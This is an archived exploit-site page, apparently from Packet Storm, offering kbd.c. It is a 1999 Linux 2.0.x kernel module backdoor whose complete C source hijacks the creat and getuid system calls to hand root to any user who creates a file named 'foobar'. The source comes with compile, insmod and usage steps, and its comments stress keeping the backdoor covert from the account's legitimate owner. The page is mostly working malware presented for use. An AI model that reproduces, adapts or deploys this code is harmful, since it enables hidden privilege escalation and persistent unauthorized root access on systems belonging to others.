Exploit the possiblities

kbd.c

kbd.c
Posted Sep 25, 1999

Linux loadable kernel module backdoor for 2.0.X. kbd is a nice little backdoor that allows root access by modifing the SYS_creat and SYS_getuid system calls. Usage after insmod is fairly strait forward: 1. login as a normal user 2. host:~$ touch foobar 3. login again under the *same* username 4. the second login session will be given root privileges 5. Remember to repeat this procedure everytime you plan on using the backdoor. To keep this covert, the special uid resets after root is given out, this prevents the legitimate owner of the account from receiving a suspicious root shell when he/she logs in.

tags | exploit, shell, kernel, root
systems | linux
MD5 | 5391235593edac1a1ec2d0ad1c0452e4

kbd.c

Change Mirror Download
/* kbd - Linux loadable kernel module backdoor for 2.0.X   */
/* 9.17.99 spaceork@dhp.com */
/* */
/* Tested on Linux 2.0.38 */
/* */
/* compile: host:~# gcc -c -O2 kbd.c */
/* */
/* add(as root): host:~# insmod kbd.o */
/* remove(as root): host:~# rmmod kbd.o */ /* */
/* Usage notes: */
/* kbd is a nice little backdoor that allows root access by */
/* modifing the SYS_creat and SYS_getuid system calls. */
/* Usage after insmod is fairly strait forward: */
/* 1. login as a normal user */
/* 2. host:~$ touch foobar */
/* 3. login again under the *same* username */
/* 4. the second login session will be given root privileges */
/* host:~# id */
/* uid=0(root) gid=0(root) groups=100(users) */
/* 5. Remember to repeat this procedure everytime you plan on */
/* using the backdoor. To keep this covert, the special uid */
/* resets after root is given out, this prevents the */
/* legitimate owner of the account from receiving a */
/* suspicious root shell when he/she logs in. */
/* */
/* TODO: Maybe add some stealth capability, this however might */
/* kill its hope of kernel generation portablilty. */

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void *sys_call_table[];

/* system calls we will replace */
int (*orig_creat)(const char *pathname, mode_t mode);
int (*orig_getuid)();
int u;

int bd_creat(const char *pathname, mode_t mode)
{
int tmp;
char *k_pathname;
char name[] = "foobar"; /* change to whatever you wish */

/* copy to kernel space */
k_pathname = (char*) kmalloc(256, GFP_KERNEL);

memcpy_fromfs(k_pathname, pathname, 255);

/* Is the pathname our secret one? If so make the current uid special. */
if (strstr(k_pathname, (char*)&name) != NULL) {
printk("Your Kung-Fu is good.\n");
u = current->uid;

}
tmp = (*orig_creat)(pathname, mode);
return tmp;
}

int bd_getuid()
{
int tmpp;

/* Give root to the special uid, then reset the value of u. */
if (current->uid == u) {
current->uid = 0;
current->euid = 0;
current->gid = 0;
current->egid = 0;
u = 55555; /* change if this bothers you */
return 0;
}
tmpp = (*orig_getuid) ();
return tmpp;
}


int init_module(void) /* setup the module */
{
orig_creat = sys_call_table[SYS_creat];
orig_getuid = sys_call_table[SYS_getuid];

sys_call_table[SYS_creat] = bd_creat;
sys_call_table[SYS_getuid] = bd_getuid;
return 0;
}

void cleanup_module(void) /* shutdown the module */
{
sys_call_table[SYS_creat] = orig_creat;
sys_call_table[SYS_getuid] = orig_getuid;
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

January 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    16 Files
  • 4
    Jan 4th
    39 Files
  • 5
    Jan 5th
    26 Files
  • 6
    Jan 6th
    40 Files
  • 7
    Jan 7th
    2 Files
  • 8
    Jan 8th
    16 Files
  • 9
    Jan 9th
    25 Files
  • 10
    Jan 10th
    28 Files
  • 11
    Jan 11th
    44 Files
  • 12
    Jan 12th
    32 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    4 Files
  • 15
    Jan 15th
    31 Files
  • 16
    Jan 16th
    15 Files
  • 17
    Jan 17th
    16 Files
  • 18
    Jan 18th
    24 Files
  • 19
    Jan 19th
    15 Files
  • 20
    Jan 20th
    5 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close